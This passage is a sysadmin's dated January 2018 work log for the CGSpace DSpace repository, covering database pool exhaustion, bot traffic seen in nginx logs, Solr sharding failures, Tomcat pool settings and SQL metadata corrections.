+     10 54.226.55.207
+     10 54.227.8.195
+     10 54.242.234.189
+     10 54.242.238.209
+     10 54.80.100.66
+     11 54.161.243.121
+     11 54.205.154.178
+     11 54.234.225.84
+     11 54.87.23.173
+     11 54.90.206.30
+     12 54.196.127.62
+     12 54.224.242.208
+     12 54.226.199.163
+     13 54.162.149.249
+     13 54.211.182.255
+     19 50.17.61.150
+     21 54.211.119.107
+    139 164.39.7.62
+
    +
  • I have no idea what these are but they seem to be coming from Amazon…
    • +
  • I guess for now I just have to increase the database connection pool’s max active
    • +
  • It’s currently 75 and normally I’d just bump it by 25 but let me be a bit daring and push it by 50 to 125, because I used to see at least 121 connections in pg_stat_activity before when we were using the shitty default pooling
    • +
+

2018-01-04

+
    +
  • CGSpace went down and up a bunch of times last night and ILRI staff were complaining a lot last night
    • +
  • The XMLUI logs show this activity:
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/library-access.log /var/log/nginx/library-access.log.1 | grep -E "4/Jan/2018" | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+    968 197.211.63.81
+    981 213.55.99.121
+   1039 66.249.64.93
+   1258 157.55.39.175
+   1273 207.46.13.182
+   1311 157.55.39.191
+   1319 157.55.39.197
+   1775 66.249.64.78
+   2216 104.196.152.243
+   3366 66.249.64.91
+
    +
  • Again we ran out of PostgreSQL database connections, even after bumping the pool max active limit from 50 to 75 to 125 yesterday!
    • +
+
2018-01-04 07:36:08,089 ERROR org.dspace.storage.rdbms.DatabaseManager @ SQL connection Error -
+org.apache.tomcat.jdbc.pool.PoolExhaustedException: [http-bio-127.0.0.1-8443-exec-256] Timeout: Pool empty. Unable to fetch a connection in 5 seconds, none available[size:125; busy:125; idle:0; lastwait:5000].
+
    +
  • So for this week that is the number one problem!
    • +
+
$ grep -c "Timeout: Pool empty." dspace.log.2018-01-*
+dspace.log.2018-01-01:0
+dspace.log.2018-01-02:1972
+dspace.log.2018-01-03:1909
+dspace.log.2018-01-04:1559
+
    +
  • I will just bump the connection limit to 300 because I’m fucking fed up with this shit
    • +
  • Once I get back to Amman I will have to try to create different database pools for different web applications, like recently discussed on the dspace-tech mailing list
    • +
  • Create accounts on CGSpace for two CTA staff km4ard@cta.int and bheenick@cta.int
    • +
+

2018-01-05

+
    +
  • Peter said that CGSpace was down last night and Tsega restarted Tomcat
    • +
  • I don’t see any alerts from Linode or UptimeRobot, and there are no PostgreSQL connection errors in the dspace logs for today:
    • +
+
$ grep -c "Timeout: Pool empty." dspace.log.2018-01-*
+dspace.log.2018-01-01:0
+dspace.log.2018-01-02:1972
+dspace.log.2018-01-03:1909
+dspace.log.2018-01-04:1559
+dspace.log.2018-01-05:0
+
    +
  • Daniel asked for help with their DAGRIS server (linode2328112) that has no disk space
    • +
  • I had a look and there is one Apache 2 log file that is 73GB, with lots of this:
    • +
+
[Fri Jan 05 09:31:22.965398 2018] [:error] [pid 9340] [client 213.55.99.121:64476] WARNING: Unable to find a match for "9-16-1-RV.doc" in "/home/files/journals/6//articles/9/". Skipping this file., referer: http://dagris.info/reviewtool/index.php/index/install/upgrade
+
    +
  • I will delete the log file for now and tell Danny
    • +
  • Also, I’m still seeing a hundred or so of the “ERROR org.dspace.app.xmlui.aspect.discovery.SidebarFacetsTransformer” errors in dspace logs, I need to search the dspace-tech mailing list to see what the cause is
    • +
  • I will run a full Discovery reindex in the mean time to see if it’s something wrong with the Discovery Solr core
    • +
+
$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx512m -XX:+TieredCompilation -XX:TieredStopAtLevel=1"
+$ time schedtool -D -e ionice -c2 -n7 nice -n19 [dspace]/bin/dspace index-discovery -b
+
+real    110m43.985s
+user    15m24.960s
+sys     3m14.890s
+
+

2018-01-06

+
    +
  • I’m still seeing Solr errors in the DSpace logs even after the full reindex yesterday:
    • +
+
org.dspace.discovery.SearchServiceException: org.apache.solr.search.SyntaxError: Cannot parse 'dateIssued_keyword:[1983+TO+1989]': Encountered " "]" "] "" at line 1, column 32.
+
    +
  • I posted a message to the dspace-tech mailing list to see if anyone can help
    • +
+

2018-01-09

+
    +
  • Advise Sisay about blank lines in some IITA records
    • +
  • Generate a list of author affiliations for Peter to clean up:
    • +
+
dspace=# \copy (select distinct text_value, count(*) as count from metadatavalue where metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'contributor' and qualifier = 'affiliation') AND resource_type_id = 2 group by text_value order by count desc) to /tmp/affiliations.csv with csv;
+COPY 4515
+

2018-01-10

+
    +
  • I looked to see what happened to this year’s Solr statistics sharding task that should have run on 2018-01-01 and of course it failed:
    • +
+
Moving: 81742 into core statistics-2010
+Exception: IOException occured when talking to server at: http://localhost:8081/solr//statistics-2010
+org.apache.solr.client.solrj.SolrServerException: IOException occured when talking to server at: http://localhost:8081/solr//statistics-2010
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.executeMethod(HttpSolrServer.java:566)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:210)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:206)
+        at org.dspace.statistics.SolrLogger.shardSolrIndex(SourceFile:2243)
+        at org.dspace.statistics.util.StatisticsClient.main(StatisticsClient.java:106)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:226)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:78)
+Caused by: org.apache.http.client.ClientProtocolException
+        at org.apache.http.impl.client.AbstractHttpClient.doExecute(AbstractHttpClient.java:867)
+        at org.apache.http.impl.client.CloseableHttpClient.execute(CloseableHttpClient.java:82)
+        at org.apache.http.impl.client.CloseableHttpClient.execute(CloseableHttpClient.java:106)
+        at org.apache.http.impl.client.CloseableHttpClient.execute(CloseableHttpClient.java:57)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.executeMethod(HttpSolrServer.java:448)
+        ... 10 more
+Caused by: org.apache.http.client.NonRepeatableRequestException: Cannot retry request with a non-repeatable request entity.  The cause lists the reason the original request failed.
+        at org.apache.http.impl.client.DefaultRequestDirector.tryExecute(DefaultRequestDirector.java:659)
+        at org.apache.http.impl.client.DefaultRequestDirector.execute(DefaultRequestDirector.java:487)
+        at org.apache.http.impl.client.AbstractHttpClient.doExecute(AbstractHttpClient.java:863)
+        ... 14 more
+Caused by: java.net.SocketException: Connection reset
+        at java.net.SocketOutputStream.socketWrite(SocketOutputStream.java:115)
+        at java.net.SocketOutputStream.write(SocketOutputStream.java:155)
+        at org.apache.http.impl.io.AbstractSessionOutputBuffer.flushBuffer(AbstractSessionOutputBuffer.java:159)
+        at org.apache.http.impl.io.AbstractSessionOutputBuffer.write(AbstractSessionOutputBuffer.java:179)
+        at org.apache.http.impl.io.ChunkedOutputStream.flushCacheWithAppend(ChunkedOutputStream.java:124)
+        at org.apache.http.impl.io.ChunkedOutputStream.write(ChunkedOutputStream.java:181)
+        at org.apache.http.entity.InputStreamEntity.writeTo(InputStreamEntity.java:132)
+        at org.apache.http.entity.HttpEntityWrapper.writeTo(HttpEntityWrapper.java:89)
+        at org.apache.http.impl.client.EntityEnclosingRequestWrapper$EntityWrapper.writeTo(EntityEnclosingRequestWrapper.java:108)
+        at org.apache.http.impl.entity.EntitySerializer.serialize(EntitySerializer.java:117)
+        at org.apache.http.impl.AbstractHttpClientConnection.sendRequestEntity(AbstractHttpClientConnection.java:265)
+        at org.apache.http.impl.conn.ManagedClientConnectionImpl.sendRequestEntity(ManagedClientConnectionImpl.java:203)
+        at org.apache.http.protocol.HttpRequestExecutor.doSendRequest(HttpRequestExecutor.java:236)
+        at org.apache.http.protocol.HttpRequestExecutor.execute(HttpRequestExecutor.java:121)
+        at org.apache.http.impl.client.DefaultRequestDirector.tryExecute(DefaultRequestDirector.java:685)
+        ... 16 more
+
    +
  • DSpace Test has the same error but with creating the 2017 core:
    • +
+
Moving: 2243021 into core statistics-2017
+Exception: IOException occured when talking to server at: http://localhost:8081/solr//statistics-2017
+org.apache.solr.client.solrj.SolrServerException: IOException occured when talking to server at: http://localhost:8081/solr//statistics-2017
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.executeMethod(HttpSolrServer.java:566)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:210)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:206)
+        at org.dspace.statistics.SolrLogger.shardSolrIndex(SourceFile:2243)
+        at org.dspace.statistics.util.StatisticsClient.main(StatisticsClient.java:106)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:226)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:78)
+Caused by: org.apache.http.client.ClientProtocolException
+        at org.apache.http.impl.client.AbstractHttpClient.doExecute(AbstractHttpClient.java:867)
+        at org.apache.http.impl.client.CloseableHttpClient.execute(CloseableHttpClient.java:82)
+        at org.apache.http.impl.client.CloseableHttpClient.execute(CloseableHttpClient.java:106)
+        at org.apache.http.impl.client.CloseableHttpClient.execute(CloseableHttpClient.java:57)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.executeMethod(HttpSolrServer.java:448)
+        ... 10 more
+
+
$ http 'http://localhost:3000/solr/statistics/select?q=owningColl%3A*&wt=json&indent=true' | grep numFound 
+  "response":{"numFound":48476327,"start":0,"docs":[
+$ http 'http://localhost:3000/solr/statistics/select?q=-owningColl%3A*&wt=json&indent=true' | grep numFound
+  "response":{"numFound":34879872,"start":0,"docs":[
+
    +
  • I tested the dspace stats-util -s process on my local machine and it failed the same way
    • +
  • It doesn’t seem to be helpful, but the dspace log shows this:
    • +
+
2018-01-10 10:51:19,301 INFO  org.dspace.statistics.SolrLogger @ Created core with name: statistics-2016
+2018-01-10 10:51:19,301 INFO  org.dspace.statistics.SolrLogger @ Moving: 3821 records into core statistics-2016
+
+
$ grep -c "Timeout: Pool empty." dspace.log.2018-01-10 
+0
+
    +
  • The XMLUI logs show quite a bit of activity today:
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/library-access.log /var/log/nginx/library-access.log.1 | grep "10/Jan/2018" | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+    951 207.46.13.159
+    954 157.55.39.123
+   1217 95.108.181.88
+   1503 104.196.152.243
+   6455 70.36.107.50
+  11412 70.36.107.190
+  16730 70.36.107.49
+  17386 2607:fa98:40:9:26b6:fdff:feff:1c96
+  21566 2607:fa98:40:9:26b6:fdff:feff:195d
+  45384 2607:fa98:40:9:26b6:fdff:feff:1888
+
    +
  • The user agent for the top six or so IPs are all the same:
    • +
+
"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
+
    +
  • whois says they come from Perfect IP
    • +
  • I’ve never seen those top IPs before, but they have created 50,000 Tomcat sessions today:
    • +
+
$ grep -E '(2607:fa98:40:9:26b6:fdff:feff:1888|2607:fa98:40:9:26b6:fdff:feff:195d|2607:fa98:40:9:26b6:fdff:feff:1c96|70.36.107.49|70.36.107.190|70.36.107.50)' /home/cgspace.cgiar.org/log/dspace.log.2018-01-10 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l                                                                                                                                                                                                  
+49096
+
    +
  • Rather than blocking their IPs, I think I might just add their user agent to the “badbots” zone with Baidu, because they seem to be the only ones using that user agent:
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/library-access.log /var/log/nginx/library-access.log.1 | grep "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari
+/537.36" | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+   6796 70.36.107.50
+  11870 70.36.107.190
+  17323 70.36.107.49
+  19204 2607:fa98:40:9:26b6:fdff:feff:1c96
+  23401 2607:fa98:40:9:26b6:fdff:feff:195d 
+  47875 2607:fa98:40:9:26b6:fdff:feff:1888
+
    +
  • I added the user agent to nginx’s badbots limit req zone but upon testing the config I got an error:
    • +
+
# nginx -t
+nginx: [emerg] could not build map_hash, you should increase map_hash_bucket_size: 64
+nginx: configuration file /etc/nginx/nginx.conf test failed
+
+
# cat /proc/cpuinfo | grep cache_alignment | head -n1
+cache_alignment : 64
+
    +
  • On our servers that is 64, so I increased this parameter to 128 and deployed the changes to nginx
    • +
  • Almost immediately the PostgreSQL connections dropped back down to 40 or so, and UptimeRobot said the site was back up
    • +
  • So that’s interesting that we’re not out of PostgreSQL connections (current pool maxActive is 300!) but the system is “down” to UptimeRobot and very slow to use
    • +
  • Linode continues to test mitigations for Meltdown and Spectre: https://blog.linode.com/2018/01/03/cpu-vulnerabilities-meltdown-spectre/
    • +
  • I rebooted DSpace Test to see if the kernel will be updated (currently Linux 4.14.12-x86_64-linode92)… nope.
    • +
  • It looks like Linode will reboot the KVM hosts later this week, though
    • +
  • Udana from WLE asked if we could give him permission to upload CSVs to CGSpace (which would require super admin access)
    • +
  • Citing concerns with metadata quality, I suggested adding him on DSpace Test first
    • +
  • I opened a ticket with Atmire to ask them about DSpace 5.8 compatibility: https://tracker.atmire.com/tickets-cgiar-ilri/view-ticket?id=560
    • +
+

2018-01-11

+
    +
  • The PostgreSQL and firewall graphs from this week show clearly the load from the new bot from PerfectIP.net yesterday:
    • +
+

PostgreSQL load +Firewall load

+
    +
  • Linode rebooted DSpace Test and CGSpace for their host hypervisor kernel updates
    • +
  • Following up with the Solr sharding issue on the dspace-tech mailing list, I noticed this interesting snippet in the Tomcat localhost_access_log at the time of my sharding attempt on my test machine:
    • +
+
127.0.0.1 - - [10/Jan/2018:10:51:19 +0200] "GET /solr/statistics/select?q=type%3A2+AND+id%3A1&wt=javabin&version=2 HTTP/1.1" 200 107
+127.0.0.1 - - [10/Jan/2018:10:51:19 +0200] "GET /solr/statistics/select?q=*%3A*&rows=0&facet=true&facet.range=time&facet.range.start=NOW%2FYEAR-18YEARS&facet.range.end=NOW%2FYEAR%2B0YEARS&facet.range.gap=%2B1YEAR&facet.mincount=1&wt=javabin&version=2 HTTP/1.1" 200 447
+127.0.0.1 - - [10/Jan/2018:10:51:19 +0200] "GET /solr/admin/cores?action=STATUS&core=statistics-2016&indexInfo=true&wt=javabin&version=2 HTTP/1.1" 200 76
+127.0.0.1 - - [10/Jan/2018:10:51:19 +0200] "GET /solr/admin/cores?action=CREATE&name=statistics-2016&instanceDir=statistics&dataDir=%2FUsers%2Faorth%2Fdspace%2Fsolr%2Fstatistics-2016%2Fdata&wt=javabin&version=2 HTTP/1.1" 200 63
+127.0.0.1 - - [10/Jan/2018:10:51:19 +0200] "GET /solr/statistics/select?csv.mv.separator=%7C&q=*%3A*&fq=time%3A%28%5B2016%5C-01%5C-01T00%5C%3A00%5C%3A00Z+TO+2017%5C-01%5C-01T00%5C%3A00%5C%3A00Z%5D+NOT+2017%5C-01%5C-01T00%5C%3A00%5C%3A00Z%29&rows=10000&wt=csv HTTP/1.1" 200 2137630
+127.0.0.1 - - [10/Jan/2018:10:51:19 +0200] "GET /solr/statistics/admin/luke?show=schema&wt=javabin&version=2 HTTP/1.1" 200 16253
+127.0.0.1 - - [10/Jan/2018:10:51:19 +0200] "POST /solr//statistics-2016/update/csv?commit=true&softCommit=false&waitSearcher=true&f.previousWorkflowStep.split=true&f.previousWorkflowStep.separator=%7C&f.previousWorkflowStep.encapsulator=%22&f.actingGroupId.split=true&f.actingGroupId.separator=%7C&f.actingGroupId.encapsulator=%22&f.containerCommunity.split=true&f.containerCommunity.separator=%7C&f.containerCommunity.encapsulator=%22&f.range.split=true&f.range.separator=%7C&f.range.encapsulator=%22&f.containerItem.split=true&f.containerItem.separator=%7C&f.containerItem.encapsulator=%22&f.p_communities_map.split=true&f.p_communities_map.separator=%7C&f.p_communities_map.encapsulator=%22&f.ngram_query_search.split=true&f.ngram_query_search.separator=%7C&f.ngram_query_search.encapsulator=%22&f.containerBitstream.split=true&f.containerBitstream.separator=%7C&f.containerBitstream.encapsulator=%22&f.owningItem.split=true&f.owningItem.separator=%7C&f.owningItem.encapsulator=%22&f.actingGroupParentId.split=true&f.actingGroupParentId.separator=%7C&f.actingGroupParentId.encapsulator=%22&f.text.split=true&f.text.separator=%7C&f.text.encapsulator=%22&f.simple_query_search.split=true&f.simple_query_search.separator=%7C&f.simple_query_search.encapsulator=%22&f.owningComm.split=true&f.owningComm.separator=%7C&f.owningComm.encapsulator=%22&f.owner.split=true&f.owner.separator=%7C&f.owner.encapsulator=%22&f.filterquery.split=true&f.filterquery.separator=%7C&f.filterquery.encapsulator=%22&f.p_group_map.split=true&f.p_group_map.separator=%7C&f.p_group_map.encapsulator=%22&f.actorMemberGroupId.split=true&f.actorMemberGroupId.separator=%7C&f.actorMemberGroupId.encapsulator=%22&f.bitstreamId.split=true&f.bitstreamId.separator=%7C&f.bitstreamId.encapsulator=%22&f.group_name.split=true&f.group_name.separator=%7C&f.group_name.encapsulator=%22&f.p_communities_name.split=true&f.p_communities_name.separator=%7C&f.p_communities_name.encapsulator=%22&f.query.split=true&f.query.separator=%7C&f.query.encapsulator=%22&f.workflowStep.split=true&f.workflowStep.separator=%7C&f.workflowStep.encapsulator=%22&f.containerCollection.split=true&f.containerCollection.separator=%7C&f.containerCollection.encapsulator=%22&f.complete_query_search.split=true&f.complete_query_search.separator=%7C&f.complete_query_search.encapsulator=%22&f.p_communities_id.split=true&f.p_communities_id.separator=%7C&f.p_communities_id.encapsulator=%22&f.rangeDescription.split=true&f.rangeDescription.separator=%7C&f.rangeDescription.encapsulator=%22&f.group_id.split=true&f.group_id.separator=%7C&f.group_id.encapsulator=%22&f.bundleName.split=true&f.bundleName.separator=%7C&f.bundleName.encapsulator=%22&f.ngram_simplequery_search.split=true&f.ngram_simplequery_search.separator=%7C&f.ngram_simplequery_search.encapsulator=%22&f.group_map.split=true&f.group_map.separator=%7C&f.group_map.encapsulator=%22&f.owningColl.split=true&f.owningColl.separator=%7C&f.owningColl.encapsulator=%22&f.p_group_id.split=true&f.p_group_id.separator=%7C&f.p_group_id.encapsulator=%22&f.p_group_name.split=true&f.p_group_name.separator=%7C&f.p_group_name.encapsulator=%22&wt=javabin&version=2 HTTP/1.1" 409 156
+
    +
  • The new core is created but when DSpace attempts to POST to it there is an HTTP 409 error
    • +
  • This is apparently a common Solr error code that means “version conflict”: http://yonik.com/solr/optimistic-concurrency/
    • +
  • Looks like that bot from the PerfectIP.net host ended up making about 450,000 requests to XMLUI alone yesterday:
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/library-access.log /var/log/nginx/library-access.log.1 | grep "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36" | grep "10/Jan/2018" | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+  21572 70.36.107.50
+  30722 70.36.107.190
+  34566 70.36.107.49
+ 101829 2607:fa98:40:9:26b6:fdff:feff:195d
+ 111535 2607:fa98:40:9:26b6:fdff:feff:1c96
+ 161797 2607:fa98:40:9:26b6:fdff:feff:1888
+
    +
  • Wow, I just figured out how to set the application name of each database pool in the JNDI config of Tomcat’s server.xml:
    • +
+
<Resource name="jdbc/dspaceWeb" auth="Container" type="javax.sql.DataSource"
+          driverClassName="org.postgresql.Driver"
+          url="jdbc:postgresql://localhost:5432/dspacetest?ApplicationName=dspaceWeb"
+          username="dspace"
+          password="dspace"
+          initialSize='5'
+          maxActive='75'
+          maxIdle='15'
+          minIdle='5'
+          maxWait='5000'
+          validationQuery='SELECT 1'
+          testOnBorrow='true' />
+
    +
  • So theoretically I could name each connection “xmlui” or “dspaceWeb” or something meaningful and it would show up in PostgreSQL’s pg_stat_activity table!
    • +
  • This would be super helpful for figuring out where load was coming from (now I wonder if I could figure out how to graph this)
    • +
  • Also, I realized that the db.jndi parameter in dspace.cfg needs to match the name value in your applicaiton’s context—not the global one
    • +
  • Ah hah! Also, I can name the default DSpace connection pool in dspace.cfg as well, like:
    • +
+
db.url = jdbc:postgresql://localhost:5432/dspacetest?ApplicationName=dspaceDefault
+
    +
  • With that it is super easy to see where PostgreSQL connections are coming from in pg_stat_activity
    • +
+

2018-01-12

+
    +
  • I’m looking at the DSpace 6.0 Install docs and notice they tweak the number of threads in their Tomcat connector:
    • +
+
<!-- Define a non-SSL HTTP/1.1 Connector on port 8080 -->
+<Connector port="8080"
+           maxThreads="150"
+           minSpareThreads="25"
+           maxSpareThreads="75"
+           enableLookups="false"
+           redirectPort="8443"
+           acceptCount="100"
+           connectionTimeout="20000"
+           disableUploadTimeout="true"
+           URIEncoding="UTF-8"/>
+
    +
  • In Tomcat 8.5 the maxThreads defaults to 200 which is probably fine, but tweaking minSpareThreads could be good
    • +
  • I don’t see a setting for maxSpareThreads in the docs so that might be an error
    • +
  • Looks like in Tomcat 8.5 the default URIEncoding for Connectors is UTF-8, so we don’t need to specify that manually anymore: https://tomcat.apache.org/tomcat-8.5-doc/config/http.html
    • +
  • Ooh, I just saw the acceptorThreadCount setting (in Tomcat 7 and 8.5):
    • +
+
The number of threads to be used to accept connections. Increase this value on a multi CPU machine, although you would never really need more than 2. Also, with a lot of non keep alive connections, you might want to increase this value as well. Default value is 1.
+
    +
  • That could be very interesting
    • +
+

2018-01-13

+
    +
  • Still testing DSpace 6.2 on Tomcat 8.5.24
    • +
  • Catalina errors at Tomcat 8.5 startup:
    • +
+
13-Jan-2018 13:59:05.245 WARNING [main] org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory.getObjectInstance Name = dspace6 Property maxActive is not used in DBCP2, use maxTotal instead. maxTotal default value is 8. You have set value of "35" for "maxActive" property, which is being ignored.
+13-Jan-2018 13:59:05.245 WARNING [main] org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory.getObjectInstance Name = dspace6 Property maxWait is not used in DBCP2 , use maxWaitMillis instead. maxWaitMillis default value is -1. You have set value of "5000" for "maxWait" property, which is being ignored.
+
    +
  • I looked in my Tomcat 7.0.82 logs and I don’t see anything about DBCP2 errors, so I guess this a Tomcat 8.0.x or 8.5.x thing
    • +
  • DBCP2 appears to be Tomcat 8.0.x and up according to the Tomcat 8.0 migration guide
    • +
  • I have updated our Ansible infrastructure scripts so that it will be ready whenever we switch to Tomcat 8 (probably with Ubuntu 18.04 later this year)
    • +
  • When I enable the ResourceLink in the ROOT.xml context I get the following error in the Tomcat localhost log:
    • +
+
13-Jan-2018 14:14:36.017 SEVERE [localhost-startStop-1] org.apache.catalina.core.StandardContext.listenerStart Exception sending context initialized event to listener instance of class [org.dspace.app.util.DSpaceWebappListener]
+ java.lang.ExceptionInInitializerError
+        at org.dspace.app.util.AbstractDSpaceWebapp.register(AbstractDSpaceWebapp.java:74)
+        at org.dspace.app.util.DSpaceWebappListener.contextInitialized(DSpaceWebappListener.java:31)
+        at org.apache.catalina.core.StandardContext.listenerStart(StandardContext.java:4745)
+        at org.apache.catalina.core.StandardContext.startInternal(StandardContext.java:5207)
+        at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:150)
+        at org.apache.catalina.core.ContainerBase.addChildInternal(ContainerBase.java:752)
+        at org.apache.catalina.core.ContainerBase.addChild(ContainerBase.java:728)
+        at org.apache.catalina.core.StandardHost.addChild(StandardHost.java:734)
+        at org.apache.catalina.startup.HostConfig.deployDescriptor(HostConfig.java:629)
+        at org.apache.catalina.startup.HostConfig$DeployDescriptor.run(HostConfig.java:1839)
+        at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
+        at java.util.concurrent.FutureTask.run(FutureTask.java:266)
+        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+        at java.lang.Thread.run(Thread.java:748)
+Caused by: java.lang.NullPointerException
+        at org.dspace.storage.rdbms.DatabaseUtils.updateDatabase(DatabaseUtils.java:547)
+        at org.dspace.core.Context.<clinit>(Context.java:103)
+        ... 15 more
+
    +
  • Interesting blog post benchmarking Tomcat JDBC vs Apache Commons DBCP2, with configuration snippets: http://www.tugay.biz/2016/07/tomcat-connection-pool-vs-apache.html
    • +
  • The Tomcat vs Apache pool thing is confusing, but apparently we’re using Apache Commons DBCP2 because we don’t specify factory="org.apache.tomcat.jdbc.pool.DataSourceFactory" in our global resource
    • +
  • So at least I know that I’m not looking for documentation or troubleshooting on the Tomcat JDBC pool!
    • +
  • I looked at pg_stat_activity during Tomcat’s startup and I see that the pool created in server.xml is indeed connecting, just that nothing uses it
    • +
  • Also, the fallback connection parameters specified in local.cfg (not dspace.cfg) are used
    • +
  • Shit, this might actually be a DSpace error: https://jira.duraspace.org/browse/DS-3434
    • +
  • I’ll comment on that issue
    • +
+

2018-01-14

+
    +
  • Looking at the authors Peter had corrected
    • +
  • Some had multiple and he’s corrected them by adding || in the correction column, but I can’t process those this way so I will just have to flag them and do those manually later
    • +
  • Also, I can flag the values that have “DELETE”
    • +
  • Then I need to facet the correction column on isBlank(value) and not flagged
    • +
+

2018-01-15

+
    +
  • Help Udana from IWMI export a CSV from DSpace Test so he can start trying a batch upload
    • +
  • I’m going to apply these ~130 corrections on CGSpace:
    • +
+
update metadatavalue set text_value='Formally Published' where resource_type_id=2 and metadata_field_id=214 and text_value like 'Formally published';
+delete from metadatavalue where resource_type_id=2 and metadata_field_id=214 and text_value like 'NO';
+update metadatavalue set text_value='en' where resource_type_id=2 and metadata_field_id=38 and text_value ~ '(En|English)';
+update metadatavalue set text_value='fr' where resource_type_id=2 and metadata_field_id=38 and text_value ~ '(fre|frn|French)';
+update metadatavalue set text_value='es' where resource_type_id=2 and metadata_field_id=38 and text_value ~ '(Spanish|spa)';
+update metadatavalue set text_value='vi' where resource_type_id=2 and metadata_field_id=38 and text_value='Vietnamese';
+update metadatavalue set text_value='ru' where resource_type_id=2 and metadata_field_id=38 and text_value='Ru';
+update metadatavalue set text_value='in' where resource_type_id=2 and metadata_field_id=38 and text_value ~ '(IN|In)';
+delete from metadatavalue where resource_type_id=2 and metadata_field_id=38 and text_value ~ '(dc.language.iso|CGIAR Challenge Program on Water and Food)';
+
    +
  • Continue proofing Peter’s author corrections that I started yesterday, faceting on non blank, non flagged, and briefly scrolling through the values of the corrections to find encoding errors for French and Spanish names
    • +
+

OpenRefine Authors

+ +
$ ./fix-metadata-values.py -i /tmp/2018-01-14-Authors-1300-Corrections.csv -f dc.contributor.author -t correct -m 3 -d dspace-u dspace -p 'fuuu'
+
    +
  • In looking at some of the values to delete or check I found some metadata values that I could not resolve their handle via SQL:
    • +
+
dspace=# select * from metadatavalue where resource_type_id=2 and metadata_field_id=3 and text_value='Tarawali';
+ metadata_value_id | resource_id | metadata_field_id | text_value | text_lang | place | authority | confidence | resource_type_id
+-------------------+-------------+-------------------+------------+-----------+-------+-----------+------------+------------------
+           2757936 |        4369 |                 3 | Tarawali   |           |     9 |           |        600 |                2
+(1 row)
+
+dspace=# select handle from item, handle where handle.resource_id = item.item_id AND item.item_id = '4369';
+ handle
+--------
+(0 rows)
+
    +
  • Even searching in the DSpace advanced search for author equals “Tarawali” produces nothing…
    • +
  • Otherwise, the DSpace 5 SQL Helper Functions provide ds5_item2itemhandle(), which is much easier than my long query above that I always have to go search for
    • +
  • For example, to find the Handle for an item that has the author “Erni”:
    • +
+
dspace=# select * from metadatavalue where resource_type_id=2 and metadata_field_id=3 and text_value='Erni';
+ metadata_value_id | resource_id | metadata_field_id | text_value | text_lang | place |              authority               | confidence | resource_type_id 
+-------------------+-------------+-------------------+------------+-----------+-------+--------------------------------------+------------+------------------
+           2612150 |       70308 |                 3 | Erni       |           |     9 | 3fe10c68-6773-49a7-89cc-63eb508723f2 |         -1 |                2
+(1 row)
+dspace=# select ds5_item2itemhandle(70308);
+ ds5_item2itemhandle 
+---------------------
+ 10568/68609
+(1 row)
+
    +
  • Next I apply the author deletions:
    • +
+
$ ./delete-metadata-values.py -i /tmp/2018-01-14-Authors-5-Deletions.csv -f dc.contributor.author -m 3 -d dspace -u dspace -p 'fuuu'
+
    +
  • Now working on the affiliation corrections from Peter:
    • +
+
$ ./fix-metadata-values.py -i /tmp/2018-01-15-Affiliations-888-Corrections.csv -f cg.contributor.affiliation -t correct -m 211 -d dspace -u dspace -p 'fuuu'
+$ ./delete-metadata-values.py -i /tmp/2018-01-15-Affiliations-11-Deletions.csv -f cg.contributor.affiliation -m 211 -d dspace -u dspace -p 'fuuu'
+
    +
  • Now I made a new list of affiliations for Peter to look through:
    • +
+
dspace=# \copy (select distinct text_value, count(*) as count from metadatavalue where metadata_field_id = (select metadata_field_id from metadatafieldregistry where metadata_schema_id = 2 and element = 'contributor' and qualifier = 'affiliation') AND resource_type_id = 2 group by text_value order by count desc) to /tmp/affiliations.csv with csv;
+COPY 4552
+
    +
  • Looking over the affiliations again I see dozens of CIAT ones with their affiliation formatted like: International Center for Tropical Agriculture (CIAT)
    • +
